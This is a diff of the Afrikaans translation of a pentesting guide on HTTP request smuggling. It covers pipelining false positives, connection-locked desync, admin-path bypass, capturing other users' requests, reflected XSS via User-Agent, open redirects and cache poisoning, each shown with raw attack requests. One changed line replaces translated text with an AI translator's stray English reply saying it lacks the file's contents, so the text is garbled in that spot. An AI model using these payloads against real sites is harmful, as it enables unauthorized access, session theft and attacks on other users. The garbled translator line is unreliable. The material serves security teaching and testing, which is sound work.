kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig; byvoorbeeld om 'n versoek na `/` 'n 404-response te laat gee. Die `CL.TE` en `TE.CL` voorbeelde wat vroeër in [Basic Examples](#basic-examples) bespreek is, demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404-response uit te lok, ondanks dat die kliënt probeer om 'n ander hulpbron te bereik. -**Belangrike Oorwegings** +**Belangrike oorwegings** -Wanneer jy toets vir request smuggling kwesbaarhede deur ander versoeke te beïnvloed, hou in gedagte: +Wanneer jy vir request smuggling-kwesbaarhede toets deur ander versoeke te ontwrig, hou die volgende in gedagte: -- **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie. -- **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval. -- **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te ontdek, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheidbevestiging. -- **Laai Balansuitdagings:** Voorpuntbedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai-balansaspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig. -- **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir opsporing nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Deurlopende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis. +- **Afsonderlike netwerkverbindings:** Die "attack" en "normal" versoeke moet oor aparte netwerkverbindings gestuur word. Om dieselfde verbinding vir albei te gebruik, bevestig nie die teenwoordigheid van die kwesbaarheid nie. +- **Konstante URL en parameters:** Streef daarna om identiese URLs en parametername vir albei versoeke te gebruik. Moderne toepassings router versoeke dikwels na spesifieke back-end servers gebaseer op URL en parameters. Om dit te laat ooreenstem verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n successful attack. +- **Timing en wedren-toestande:** Die "normal" versoek, bedoel om interferensie van die "attack" versoek te detecteer, wed teen ander gelyktydige toepassingsversoeke. Stuur dus die "normal" versoek onmiddellik ná die "attack" versoek. Besige toepassings mag meerdere probeerslae vereis vir 'n beslissende bevestiging. +- **Load Balancing-uitdagings:** Front-end servers wat as load balancers optree kan versoeke oor verskeie back-end stelsels versprei. As die "attack" en "normal" versoeke op verskillende stelsels eindig, sal die attack nie slaag nie. Hierdie load balancing-aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig. +- **Onbedoelde gebruikersimpak:** As jou attack per ongeluk 'n ander gebruiker se versoek (@ nie die "normal" versoek wat jy vir detectie gestuur het nie) raak, dui dit aan dat jou attack 'n ander toepassingsgebruiker beïnvloed het. Aanhoudende toetse kan ander gebruikers ontwrig, dus gaan versigtig te werk. -## Onderskeiding van HTTP/1.1 pipelining artefakte teenoor werklike request smuggling +## Onderskei HTTP/1.1 pipelining-artefakte vs genuine request smuggling -Verbinding hergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" in toetsgereedskap wat verskeie versoeke op dieselfde soket stuur, produseer. Leer om onskadelike kliëntkant artefakte van werklike bedienerkant desynk te skei. +Verbindingshergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" produseer in testing tools wat veelvuldige versoeke op dieselfde sok stuur. Leer om onskadelike kliënt-kant-artefakte van werklike bediener-kant desync te onderskei. -### Waarom pipelining klassieke vals positiewe skep +### Waarom pipelining klassieke vals-positiewe veroorsaak -HTTP/1.1 hergebruik 'n enkele TCP/TLS verbinding en kombineer versoeke en reaksies op dieselfde stroom. In pipelining stuur die kliënt verskeie versoeke agtereenvolgens en staatmaak op in-volgorde reaksies. 'n Algemene vals positiewe is om 'n misvormde CL.0-styl payload twee keer op 'n enkele verbinding te herstuur: +HTTP/1.1 hergebruik 'n enkele TCP/TLS-verbinding en koppel versoeke en reaksies saam op dieselfde stroom. In pipelining stuur die kliënt meerdere versoeke agtereenvolgens en staatmaak op in-orde reaksies. 'n Algemene vals-positief is om 'n misvormde CL.0-styl payload twee keer op 'n enkele verbinding te herstuur: ``` POST / HTTP/1.1 Host: hackxor.net @@ -293,7 +294,7 @@ Content_Length: 47 GET /robots.txt HTTP/1.1 X: Y ``` -Antwoorde kan soos volg lyk: +I don't have the contents of src/pentesting-web/http-request-smuggling/README.md. Please paste the README.md text you want translated to Afrikaans (I'll keep markdown, tags, links and code unchanged and follow your guidance). ``` HTTP/1.1 200 OK Content-Type: text/html @@ -307,7 +308,7 @@ Content-Type: text/plain User-agent: * Disallow: /settings ``` -As die bediener die verkeerd gevormde `Content_Length` geïgnoreer het, is daar geen FE↔BE desinkronisasie nie. Met hergebruik het jou kliënt werklik hierdie byte-stroom gestuur, wat die bediener as twee onafhanklike versoeke geparseer het: +As die server die misvormde `Content_Length` geïgnoreer het, is daar geen FE↔BE desync nie. Met reuse het jou client eintlik hierdie byte-stream gestuur, wat die server as twee onafhanklike requests ontleed het: ``` POST / HTTP/1.1 Host: hackxor.net @@ -321,76 +322,76 @@ Content_Length: 47 GET /robots.txt HTTP/1.1 X: Y ``` -Impact: geen. Jy het net jou kliënt van die bediener se raamwerk ontkoppel. +Impact: none. Jy het net jou kliënt van die server-framing desinkroniseer. > [!TIP] -> Burp-modules wat afhanklik is van hergebruik/pipelining: Turbo Intruder met `requestsPerConnection>1`, Intruder met "HTTP/1 verbinding hergebruik", Repeater "Stuur groep in volgorde (enkele verbinding)" of "Aktiveer verbinding hergebruik". +> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse". ### Litmus-toetse: pipelining of werklike desync? -1. Deaktiveer hergebruik en toets weer -- In Burp Intruder/Repeater, skakel HTTP/1 hergebruik af en vermy "Stuur groep in volgorde". +1. Disable reuse and re-test +- In Burp Intruder/Repeater, skakel HTTP/1 reuse af en vermy "Send group in sequence". - In Turbo Intruder, stel `requestsPerConnection=1` en `pipeline=False`. -- As die gedrag verdwyn, was dit waarskynlik kliënt-kant pipelining, tensy jy met verbinding-geslote/staatlike teikens of kliënt-kant desync te doen het. -2. HTTP/2 geneste-respons toets -- Stuur 'n HTTP/2 versoek. As die responsliggaam 'n volledige geneste HTTP/1 respons bevat, het jy 'n backend parsing/desync fout bewys in plaas van 'n suiwer kliënt artefak. -3. Gedeeltelike versoeke toets vir verbinding-geslote front-ends -- Sommige FE's hergebruik slegs die opwaartse BE-verbinding as die kliënt hulne hergebruik. Gebruik gedeeltelike versoeke om FE-gedrag te detecteer wat kliënt hergebruik weerspieël. -- Sien PortSwigger "Browser‑Powered Desync Attacks" vir die verbinding-geslote tegniek. -4. Staat probes -- Soek na verskille tussen die eerste en daaropvolgende versoeke op dieselfde TCP-verbinding (eerste-versoek routering/validasie). -- Burp "HTTP Request Smuggler" sluit 'n verbinding‑staat probe in wat dit outomatiseer. -5. Visualiseer die draad -- Gebruik die Burp "HTTP Hacker" uitbreiding om concatenasie en boodskapraamwerk direk te inspekteer terwyl jy met hergebruik en gedeeltelike versoeke eksperimenteer. +- As die gedrag verdwyn, was dit waarskynlik client-side pipelining, tensy jy te doen het met connection-locked/stateful targets of client-side desync. +2. HTTP/2 nested-response check +- Stuur 'n HTTP/2 request. As die response body 'n volledige geneste HTTP/1 response bevat, het jy 'n backend parsing/desync fout bewys in plaas van 'n suiwer client-artifact. +3. Partial-requests probe for connection-locked front-ends +- Sommige FEs hergebruik die upstream BE-verbinding slegs as die kliënt hullene hergebruik het. Gebruik partial-requests om FE-gedrag op te spoor wat client-reuse naboots. +- Sien PortSwigger "Browser‑Powered Desync Attacks" vir die connection-locked tegniek. +4. State probes +- Kyk vir verskille tussen die eerste en daaropvolgende requests op dieselfde TCP-verbinding (first-request routing/validation). +- Burp "HTTP Request Smuggler" sluit 'n connection‑state probe in wat dit outomatiseer. +5. Visualiseer die wire +- Gebruik die Burp "HTTP Hacker" extension om concatenation en message framing direk te inspekteer terwyl jy met reuse en partial requests eksperimenteer. -### Verbinding‑geslote versoek smuggling (hergebruik benodig) +### Connection‑locked request smuggling (reuse-required) -Sommige front-ends hergebruik slegs die opwaartse verbinding wanneer die kliënt hulne hergebruik. Werklike smuggling bestaan, maar is voorwaardelik op kliënt-kant hergebruik. Om te onderskei en impak te bewys: -- Bewys die bediener-kant fout -- Gebruik die HTTP/2 geneste-respons toets, of -- Gebruik gedeeltelike versoeke om te wys dat die FE slegs opwaarts hergebruik wanneer die kliënt dit doen. -- Wys werklike impak selfs as direkte kruis-gebruiker sokker misbruik geblokkeer is: -- Cache vergiftiging: vergiftig gedeelde caches via die desync sodat responsies ander gebruikers beïnvloed. -- Interne kop openbaarmaking: reflekteer FE-ingeslote koppe (bv. auth/trust koppe) en pivot na auth omseiling. -- Omseil FE kontroles: smuggle beperkte paaie/metodes verby die front-end. -- Gasheer-kop misbruik: kombineer met gasheer routering quirks om na interne vhosts te pivot. -- Operateur werksvloei -- Herproduseer met beheerde hergebruik (Turbo Intruder `requestsPerConnection=2`, of Burp Repeater tab groep → "Stuur groep in volgorde (enkele verbinding)"). -- Verbind dan met cache/kop-lek/beheer-omseiling primitiewe en demonstreer kruis-gebruiker of magtiging impak. +Sommige front-ends hergebruik die upstream verbinding slegs wanneer die kliënt hullene hergebruik. Werklike smuggling bestaan, maar dit is voorwaardelik aan client-side reuse. Om te onderskei en impak te bewys: +- Bewys die server-side fout +- Gebruik die HTTP/2 nested-response check, of +- Gebruik partial-requests om te toon dat die FE slegs upstream hergebruik wanneer die kliënt dit doen. +- Wys werklike impak selfs as direkte cross-user socket misbruik geblokkeer is: +- Cache poisoning: vergiftig gedeelde caches via die desync sodat responses ander gebruikers raak. +- Internal header disclosure: reflekteer FE-geïnjekteerde headers (bv. auth/trust headers) en pivot na auth bypass. +- Bypass FE controls: smuggle beperkte paths/methods verby die front-end. +- Host-header abuse: kombineer met host routing quirks om na interne vhosts te pivot. +- Operator workflow +- Reproduceer met beheerde reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)"). +- Ketting dan na cache/header-leak/control-bypass primitives en demonstreer cross-user of authorization impak. -> Sien ook verbinding‑staat aanvalle, wat nou verwant is maar nie tegnies smuggling is nie: +> See also connection‑state attacks, which are closely related but not technically smuggling: > >{{#ref}} >../http-connection-request-smuggling.md >{{#endref}} -### Kliënt‑kant desync beperkings +### Client‑side desync constraints -As jy teikens op 'n blaaier-kragtige/kliënt-kant desync, moet die kwaadwillige versoek deur 'n blaaier oor oorsprong gestuur kan word. Kop obfuskerings truuks sal nie werk nie. Fokus op primitiewe wat bereikbaar is via navigasie/fetch, en pivot dan na cache vergiftiging, kop openbaarmaking, of front-end beheer omseiling waar afwaartse komponente responsies weerspieël of cache. +As jy browser-powered/client-side desync teiken, moet die kwaadwillige request deur 'n blaaier cross-origin gestuur kan word. Header obfuscation trucs gaan nie werk nie. Fokus op primitives bereikbaar via navigation/fetch, en pivot dan na cache poisoning, header disclosure, of front-end control bypass waar downstream-komponente responses reflekteer of cache. -Vir agtergrond en eind-tot-eind werksvloei: +For background and end-to-end workflows: {{#ref}} browser-http-request-smuggling.md {{#endref}} -### Gereedskap om te help besluit +### Tooling to help decide -- HTTP Hacker (Burp BApp Store): stel lae-vlak HTTP gedrag en sokker concatenasie bloot. -- "Smuggling of pipelining?" Burp Repeater Aangepaste Aksie: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda -- Turbo Intruder: presiese beheer oor verbinding hergebruik via `requestsPerConnection`. -- Burp HTTP Request Smuggler: sluit 'n verbinding‑staat probe in om eerste‑versoek routering/validasie op te spoor. +- HTTP Hacker (Burp BApp Store): beklemtoon low-level HTTP gedrag en socket concatenation. +- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda +- Turbo Intruder: presiese beheer oor connection reuse via `requestsPerConnection`. +- Burp HTTP Request Smuggler: sluit 'n connection‑state probe in om first‑request routing/validation op te spoor. > [!NOTE] -> Behandel hergebruik-slegs effekte as nie-probleme tensy jy bediener-kant desync kan bewys en konkrete impak kan heg (vergiftigde cache artefak, gelekte interne kop wat magtiging omseiling moontlik maak, omgeëiende FE beheer, ens.). +> Beskou reuse-only effekte as nie-probleme tensy jy server-side desync kan bewys en konkrete impak kan heg (poisoned cache artifact, leaked internal header wat privilege bypass moontlik maak, bypassed FE control, ens.). -## Misbruik van HTTP Request Smuggling +## Abusing HTTP Request Smuggling -### Omseiling van Front-End Sekuriteit via HTTP Request Smuggling +### Om Front-End sekuriteit te omseil via HTTP Request Smuggling -Soms, front-end proxies handhaaf sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omgegaan word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbode wees, met die front-end proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmugde HTTP versoek te ondersoek, wat 'n gat laat vir die omseiling van hierdie beperkings. +Soms afdwing front-end proxies sekuriteitsmaatreëls en ondersoek inkomende requests noukeurig. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te misbruik, wat ongemagtigde toegang tot beperkte endpoints moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die front-end proxy wat sulke pogings aktief blokkeer. Nietemin mag hierdie proxy nalaat om ingeslote requests binne 'n gesmugglede HTTP request te inspekteer, wat 'n leemte laat vir die omseiling van hierdie beperkings. -Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteit kontroles te omseil, spesifiek teikening van die `/admin` pad wat tipies deur die front-end proxy beskerm word: +Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek gerig op die `/admin` pad wat gewoonlik deur die front-end proxy beskerm word: **CL.TE Voorbeeld** ``` @@ -409,9 +410,9 @@ Content-Length: 10 x= ``` -In die CL.TE-aanval word die `Content-Length`-kop vir die aanvanklike versoek gebruik, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked`-kop benut. Die front-end proxy verwerk die aanvanklike `POST`-versoek, maar slaag nie daarin om die ingebedde `GET /admin`-versoek te ondersoek nie, wat ongeoorloofde toegang tot die `/admin`-pad toelaat. +In die CL.TE attack word die `Content-Length` header benut vir die aanvanklike versoek, terwyl die daaropvolgende ingeslote versoek die `Transfer-Encoding: chunked` header gebruik. Die front-end proxy verwerk die aanvanklike `POST` versoek maar slaag nie daarin om die ingeslote `GET /admin` versoek te inspekteer nie, wat ongemagtigde toegang tot die `/admin` pad toelaat. -**TE.CL Voorbeeld** +**TE.CL Example** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net @@ -427,13 +428,13 @@ a=x 0 ``` -Omgekeerd, in die TE.CL-aanval, gebruik die aanvanklike `POST` versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingebedde versoek word verwerk op grond van die `Content-Length` kop. Soos in die CL.TE-aanval, oorsien die front-end proxy die gesmokkelde `GET /admin` versoek, wat per ongeluk toegang tot die beperkte `/admin` pad verleen. +Omgekeerd, in die TE.CL-aanval gebruik die aanvanklike `POST`-versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingeslote versoek word verwerk op grond van die `Content-Length`-header. Soortgelyk aan die CL.TE-aanval, ignoreer die front-end proxy die gesmokkelde `GET /admin`-versoek, wat per ongeluk toegang tot die beperkte `/admin`-pad verleen. -### Onthulling van front-end versoek herskrywing +### Front-end versoekherskryfing openbaar -Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat hulle aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos `X-Forwarded-For: `, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan noodsaaklik wees, aangesien dit maniere kan onthul om **beskermings te omseil** of **verborgene inligting of eindpunte te ontdek**. +Toepassings maak dikwels gebruik van 'n **front-end server** om inkomende versoeke te wysig voordat hulle aan die back-end server oorgedra word. 'n Tipiese wysiging behels die byvoeging van headers, soos `X-Forwarded-For: `, om die kliënt se IP aan die back-end deur te gee. Om hierdie wysigings te verstaan kan beslissend wees, aangesien dit maniere kan openbaar om **beskermings te omseil** of **verborgen inligting of eindpunte te openbaar**. -Om te ondersoek hoe 'n proxy 'n versoek verander, vind 'n POST parameter wat die agterkant in die antwoord weergee. Skep dan 'n versoek, met hierdie parameter laaste, soortgelyk aan die volgende: +Om te ondersoek hoe 'n proxy 'n versoek verander, lokaliseer 'n POST-parameter wat die back-end in die antwoord weerspieël. Vorm dan 'n versoek waarin jy hierdie parameter laaste gebruik, soortgelyk aan die volgende: ``` POST / HTTP/1.1 Host: vulnerable-website.com @@ -450,19 +451,19 @@ Content-Length: 100 search= ``` -In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel. +In hierdie struktuur word daaropvolgende versoek-komponente aangeheg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die headers van die daaropvolgende versoek openbaar. -Dit is belangrik om die `Content-Length` kop van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afkorts, terwyl 'n te hoë waarde die versoek kan laat misluk. +Dit is belangrik om die `Content-Length` header van die geneste versoek in lyn te bring met die werklike inhoudslengte. Begin met 'n klein waarde en verhoog geleidelik — dit is raadsaam, aangesien te lae 'n waarde die weerspieëlde data kan afkap, terwyl te hoë 'n waarde die versoek kan laat misluk. -Hierdie tegniek is ook van toepassing in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word. +Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL-kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die reëlbreukkarakters sal die waardes by die search-parameter aangeheg word. -Hierdie metode dien hoofsaaklik om die versoekwysigings wat deur die voorpunt-proxy gemaak word, te verstaan, en voer in wese 'n selfgerigte ondersoek uit. +Hierdie metode dien hoofsaaklik om die versoek-wysigings wat deur die front-end proxy gemaak word, te verstaan — dit voer in wese 'n selfgedrewe ondersoek uit. -### Capturing other users' requests +### Vasvang van ander gebruikers se versoeke -Dit is haalbaar om die versoeke van die volgende gebruiker te vang deur 'n spesifieke versoek as die waarde van 'n parameter tydens 'n POST-operasie by te voeg. Hier is hoe dit gedoen kan word: +Dit is moontlik om die versoeke van die volgende gebruiker te vang deur 'n spesifieke versoek as die waarde van 'n parameter tydens 'n POST-operasie aan te heg. So kan dit bereik word: -Deur die volgende versoek as die waarde van 'n parameter by te voeg, kan jy die daaropvolgende kliënt se versoek stoor: +Deur die volgende versoek as die waarde van 'n parameter aan te heg, kan jy die daaropvolgende kliënt se versoek stoor: ``` POST / HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net @@ -482,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= ``` -In hierdie scenario is die **kommentaarparameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn. +In hierdie scenario is die **comment-parameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn. -Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeider die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die navraagstring kan wees. +Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameter-afskeider wat in die gesmokkelde versoek gebruik word. Vir URL-gekodeerde formulierindienings is hierdie afskeider die `&` karakter. Dit beteken die vasgevangde inhoud van die slagoffer se versoek sal by die eerste `&` stop, wat selfs deel van die query string kan wees. -Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word. +Verder is dit die moeite werd om te noem dat hierdie benadering ook werk met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag newline-karakters, sal die waardes by die search-parameter gevoeg word. -### Gebruik van HTTP versoek gesmokkel om weerspieëlde XSS te benut +### Gebruik van HTTP Request Smuggling om Reflected XSS te misbruik -HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te exploiteer, wat beduidende voordele bied: +HTTP Request Smuggling kan gebruik word om webblaaie wat kwesbaar is vir **Reflected XSS** uit te buit, en bied beduidende voordele: -- Interaksie met die teiken gebruikers is **nie nodig** nie. -- Dit stel die benutting van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik. +- Interaksie met die teikengebruikers is **nie benodig nie**. +- Dit maak dit moontlik om XSS uit te buit in dele van die versoek wat **gewoonlik onbereikbaar** is, soos HTTP request headers. -In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te benut: +In scenario's waar 'n webwerf vatbaar is vir Reflected XSS deur die User-Agent header, demonstreer die volgende payload hoe om hierdie kwesbaarheid te misbruik: ``` POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net @@ -516,36 +517,36 @@ Content-Type: application/x-www-form-urlencoded A= ``` -Hierdie payload is gestruktureer om die kwesbaarheid te benut deur: +Hierdie payload is gestruktureer om die kwesbaarheid uit te buit deur: -1. 'n `POST` versoek te begin, blykbaar tipies, met 'n `Transfer-Encoding: chunked` kop om die begin van smuggling aan te dui. -2. Volg met 'n `0`, wat die einde van die chunked boodskapliggaam aandui. -3. Dan word 'n gesmugde `GET` versoek bekendgestel, waar die `User-Agent` kop met 'n skrip ingespuit word, ``, wat die XSS aktiveer wanneer die bediener hierdie daaropvolgende versoek verwerk. +1. Initieer 'n `POST` request, skynbaar tipies, met 'n `Transfer-Encoding: chunked` header om die begin van smuggling aan te dui. +2. Daarna 'n `0`, wat die einde van die chunked boodskapliggaam aandui. +3. Dan word 'n smuggled `GET` request ingevoer, waar die `User-Agent` header met 'n script ingespuit word, ``, wat die XSS aktiveer wanneer die bediener hierdie daaropvolgende request verwerk. -Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale versoekbeperkings, en benut dus die Reflected XSS kwesbaarheid op 'n nie-standaard maar effektiewe manier. +Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale request-beperkings en benut dus die Reflected XSS-kwesbaarheid op 'n nie-standaard maar effektiewe wyse. #### HTTP/0.9 > [!CAUTION] -> In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** soos **`text/plain`** weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9 ondersteun, kan dit moontlik wees om dit te omseil**! +> As die gebruikerinhoud in 'n response gereflekteer word met 'n **`Content-type`** soos **`text/plain`**, kan dit die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9** ondersteun, mag dit moontlik wees om dit te omseil! -Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs **GET** werkwoorde en **antwoord nie** met **koppe** nie, net die liggaam. +Die weergawe HTTP/0.9 was vroeër as 1.0 en gebruik slegs **GET**-werkwoorde en **reageer nie** met **headers** nie, net die liggaam. -In [**hierdie skrywe**](https://mizu.re/post/twisty-python), is dit misbruik met 'n versoek smuggling en 'n **kwesbare eindpunt wat met die invoer van die gebruiker sal antwoordgee** om 'n versoek met HTTP/0.9 te smuggle. Die parameter wat in die antwoord weerspieël sal word, het 'n **valse HTTP/1.1 antwoord (met koppe en liggaam)** bevat sodat die antwoord geldige uitvoerbare JS-kode met 'n `Content-Type` van `text/html` sal bevat. +In [**this writeup**](https://mizu.re/post/twisty-python), is dit misbruik met request smuggling en 'n **kwetsbare endpoint wat met die gebruiker se inset sal antwoord** om 'n request met HTTP/0.9 te smuggle. Die parameter wat in die response gereflekteer sal word, het 'n **vals HTTP/1.1 response (with headers and body)** bevat, sodat die response geldige uitvoerbare JS-kode sal bevat met 'n `Content-Type` van `text/html`. ### Exploiting On-site Redirects with HTTP Request Smuggling -Toepassings lei dikwels van een URL na 'n ander deur die hostname van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif te versoek, lei tot 'n omleiding om die schuif in te sluit: +Aplikasies herlei dikwels vanaf een URL na 'n ander deur die hostname uit die `Host`-header in die herleidings-URL te gebruik. Dit is algemeen by webservers soos Apache en IIS. Byvoorbeeld, om 'n gids te vra sonder 'n trailing slash lei tot 'n herleiding om die / in te sluit: ``` GET /home HTTP/1.1 Host: normal-website.com ``` -Resultate in: +Leid tot: ``` HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` -Alhoewel dit onskuldig lyk, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld: +Hoewel dit skynbaar onskadelik is, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld: ``` POST / HTTP/1.1 Host: vulnerable-website.com @@ -559,29 +560,29 @@ GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` -Hierdie gesmokkelde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgelei word: +Hierdie gesmokkelde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek herlei word na ’n webwerf wat deur ’n aanvaller beheer word: ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com ``` -Resultate in: +Gevolg: ``` HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` -In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromitteer deur kwaadwillige JavaScript in reaksie te bedien. +In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromitteer deur kwaadwillige JavaScript as antwoord te bedien. -### Exploiting Web Cache Poisoning via HTTP Request Smuggling +### Uitbuiting van Web Cache Poisoning via HTTP Request Smuggling -Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas** om prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om die **cache te vergiftig**. +Web Cache Poisoning kan uitgevoer word as enige komponent van die **front-end infrastructure caches content** inhoud kas, gewoonlik om prestasie te verbeter. Deur die bediener se antwoord te manipuleer, is dit moontlik om die kas te vergiftig. -Voorheen het ons gesien hoe bediener reaksies verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html` inhoud te lewer in reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS). +Eerder het ons gesien hoe bediener-antwoorde verander kan word om 'n 404-fout terug te gee (verwys na [Basic Examples](#basic-examples)). Op dieselfde wyse is dit haalbaar om die bediener te mislei om die inhoud van `/index.html` te lewer as antwoord op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang deur dié van `/index.html`, wat `/static/include.js` ontoeganklik vir gebruikers maak en moontlik lei tot 'n Denial of Service (DoS). -Hierdie tegniek word veral kragtig as 'n **Open Redirect kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak. +Hierdie tegniek word besonder kragtig as 'n **Open Redirect vulnerability** gevind word of as daar 'n **on-site redirect to an open redirect** is. Sulke kwesbaarhede kan uitgebuit word om die gekasde inhoud van 